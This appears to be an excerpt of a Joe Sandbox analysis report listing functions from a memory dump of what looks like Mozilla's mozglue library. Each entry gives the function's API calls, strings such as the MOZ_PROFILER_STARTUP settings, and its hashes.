Opcode ID: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction ID: 23e541e4e45aab035b19a7bcc1eb3cc11b4c7dfd22cebbdc50697838e17c421b
Opcode Fuzzy Hash: 61ddf600a1eafaa54c2805ca005e5f03ac9dc7b7ab4d7c7bd5385c686313dc29
Instruction Fuzzy Hash: 9E11C3B52017048FC725CF0CD99996AFBF8FF5A304315885DE98A8B751C771E804CB94

Function 6C54E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54E577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E584
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C54E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C54E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C54E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C54E722, 6C54E750, 6C54E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C54E826, 6C54E850
MOZ_PROFILER_STARTUP, xrefs: 6C54E5A1, 6C54E5CC, 6C54E5FF, 6C54E62A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction ID: 53e3f671a189093c1bbb74461a5de22f8e7a5c88521a7e6d141537066ed52a9a
Opcode Fuzzy Hash: 6dda1258fed99ce0f5cbff86027f0d31923ab7bcb23f71fdf0f9d3875a3eb717
Instruction Fuzzy Hash: 1811A131606264DFCB00EF14CC48B6ABBF8FB8A328F52561AE84547661D770A804CB99

Function 6C550C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550CD5

Part of subcall function 6C53F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C550D40
free.MOZGLUE ref: 6C550DCB

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

free.MOZGLUE ref: 6C550DDD
free.MOZGLUE ref: 6C550DF2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction ID: 80627c5e835a7759885c891cc34fdd4c6597562b49a12489c860ba0b0065baa1
Opcode Fuzzy Hash: a69f1c1d6e71c4a9bc5ce8359e7948013189a7f9bf61268c9aa07d8385a11d8c
Instruction Fuzzy Hash: 85412871908790CBD720CF29C88079AFBE5BFC5618F518A2FE8D887750D7709854CB92

Function 6C540800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C540838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C54084C
EnterCriticalSection.KERNEL32(?), ref: 6C5408AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5408BD
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C5408D5

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction ID: 20e47905d670de02d7394a38dbfcc19d5ce15c1d2dbe11c14bfd5aefd4fc1dd0
Opcode Fuzzy Hash: f8c48560714d57a81323d9cc700e87d5f565b19426a34c9a3028d14e65bb55e4
Instruction Fuzzy Hash: C221F231B022699BEF04DF65DC44BBE73B9AFC6708F604529D509E7A00DF71A8048BD4

Function 6C55CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDA4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D158
Part of subcall function 6C55D130: InitializeConditionVariable.KERNEL32(00000098,?,6C55CDBA,00100000,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CDC4

Part of subcall function 6C557480: ReleaseSRWLockExclusive.KERNEL32(?,6C5615FC,?,?,?,?,6C5615FC,?), ref: 6C5574EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55CECC

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

Part of subcall function 6C54CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C55CEEA,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000), ref: 6C54CB57
Part of subcall function 6C54CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C54CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C55CEEA,?,?), ref: 6C54CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D058

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction ID: 3e606c06b106b44d810297bfae353050488be7c815772e1befce697cd70f8eb6
Opcode Fuzzy Hash: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction Fuzzy Hash: 27D15F71A04B46DFD708CF28C980B99B7E1BF89304F41866ED85987752EB31B9A5CB81

Function 6C511720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5117B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5118EE
free.MOZGLUE(?), ref: 6C511911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51194C

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction ID: 534c7c5ff63ed10341097ff0b3adb1de09488c9a53d304814f477fcaedce5723
Opcode Fuzzy Hash: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction Fuzzy Hash: 5281A274A192159FDB04CF68DC889AFBBB1FF99314F0485ACE851ABB54D730E844CBA1

Function 6C525C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C525D40
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67
__aulldiv.LIBCMT ref: 6C525DB4
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction ID: bd4e71fbf679516539b7c3a22615a6bff8b5ed249f90c433ec4554db5b5a98f9
Opcode Fuzzy Hash: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction Fuzzy Hash: CD518F71E011298FCF08CFA9CC55AAEBBB1FB8A304F2A8719D811A7794D7746945CB90

Function 6C50CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C50CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C50CF4E

Strings

0, xrefs: 6C50CF30

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction ID: dbd4f5209ccd65b448601322f6b10e2a6e721b1be19d218b64b9867e000d4099
Opcode Fuzzy Hash: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction Fuzzy Hash: C151F275A00216CFCB01CF18C890AAABBB5EF9A300F198599D8599F751D731BD06CBE1

Function 6C5677D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5677FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C567829

Part of subcall function 6C53CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5031A7), ref: 6C53CC45
Part of subcall function 6C53CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5031A7), ref: 6C53CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C56789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5678CF

Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction ID: b8c8723f1521e4f3fec0f4e2c6f7b94e046a4329f4e2f1b0a8ef501eceb55b30
Opcode Fuzzy Hash: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction Fuzzy Hash: 01419D71904706DBD300DF29C88056AFBF4FFCA254F604A2EE4A987750EB70E959CB92

Function 6C546470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5482BC,?,?), ref: 6C54649B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5464A9

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54653F
free.MOZGLUE(?), ref: 6C54655A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction ID: dd323f1108e99b331cc213312e703bf193806432111d2e89e6811c12913ca4ad
Opcode Fuzzy Hash: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction Fuzzy Hash: EF316EB5A043159FD700CF14D88469ABBE4BF89314F41882EE89A87741EB30E918CB92

Function 6C53FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C53FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C53FFF5
free.MOZGLUE(?,?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C54001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C54002A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction ID: bd50870881a15947ae02bd52192fbd4c0a2f870e57ef2ec50de31545adf0c440
Opcode Fuzzy Hash: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction Fuzzy Hash: 6F21D872A002159BD7189E789C948AFB7BAEBC53247254778E829D7780FB70AD0187E1

Function 6C51B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B4F5
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B502
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B542
free.MOZGLUE(?), ref: 6C51B578

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction ID: 07b9abb74b2fa5fb3ad0478432c35c4cf26d8a58253e0388e9fe9184419792ce
Opcode Fuzzy Hash: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction Fuzzy Hash: ED11FD30A09B10C7E311AF29CC04761B3B4FF9B318F12A70AE84952F12FBB1A5C48794

Function 6C543DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C50F20E,?), ref: 6C543DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C50F20E,00000000,?), ref: 6C543DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C543E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C543E0E

Part of subcall function 6C53CC00: GetCurrentProcess.KERNEL32(?,?,6C5031A7), ref: 6C53CC0D
Part of subcall function 6C53CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5031A7), ref: 6C53CC16

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction ID: 1d01a7363c4af1e235e24081fc45a12c62ad2c08f7a2b3a1f2a47a3f13b2aad0
Opcode Fuzzy Hash: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction Fuzzy Hash: 0AF012B1501228BBD700AB54DC41DAB376DDB87624F054020FD0857741E735BD658AFB

Function 6C552050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C552064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55208E
free.MOZGLUE(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C5520A3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction ID: 0d23ae03713b839928fe217b064e0a208a559f253df74362f913eff2b6313805
Opcode Fuzzy Hash: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction Fuzzy Hash: 08F0B471101A10DFC7119F16DC88B5BB7F8EF86364F11011AE54687711C776A805CBAA

Function 6C5585B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5585D3

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C558725

Strings

map/set<T> too long, xrefs: 6C558720

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction ID: ae05b024ce37754aaed4150dc2c903fb0757a7ee0fbf8ef2c7a083189841c055
Opcode Fuzzy Hash: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction Fuzzy Hash: 9E518474620641CFD701CF18C884A5ABBF1BF9A318F58C18AD8594BB92C735EC95CF92

Function 6C50BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C50BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C50BE8F

Strings

0, xrefs: 6C50BE5B

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction ID: 12e4cd7ce159388738ce5f89a69c65fcab43e36a511a0507332d0c40af01002b
Opcode Fuzzy Hash: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction Fuzzy Hash: 5341A172A09745CFC701DF28C881A9BB7F4AF8A348F004A1DF9859B611E730D959CB82

Function 6C543CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C543D19
mozalloc_abort.MOZGLUE(?), ref: 6C543D6C

Strings

d, xrefs: 6C543D58

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

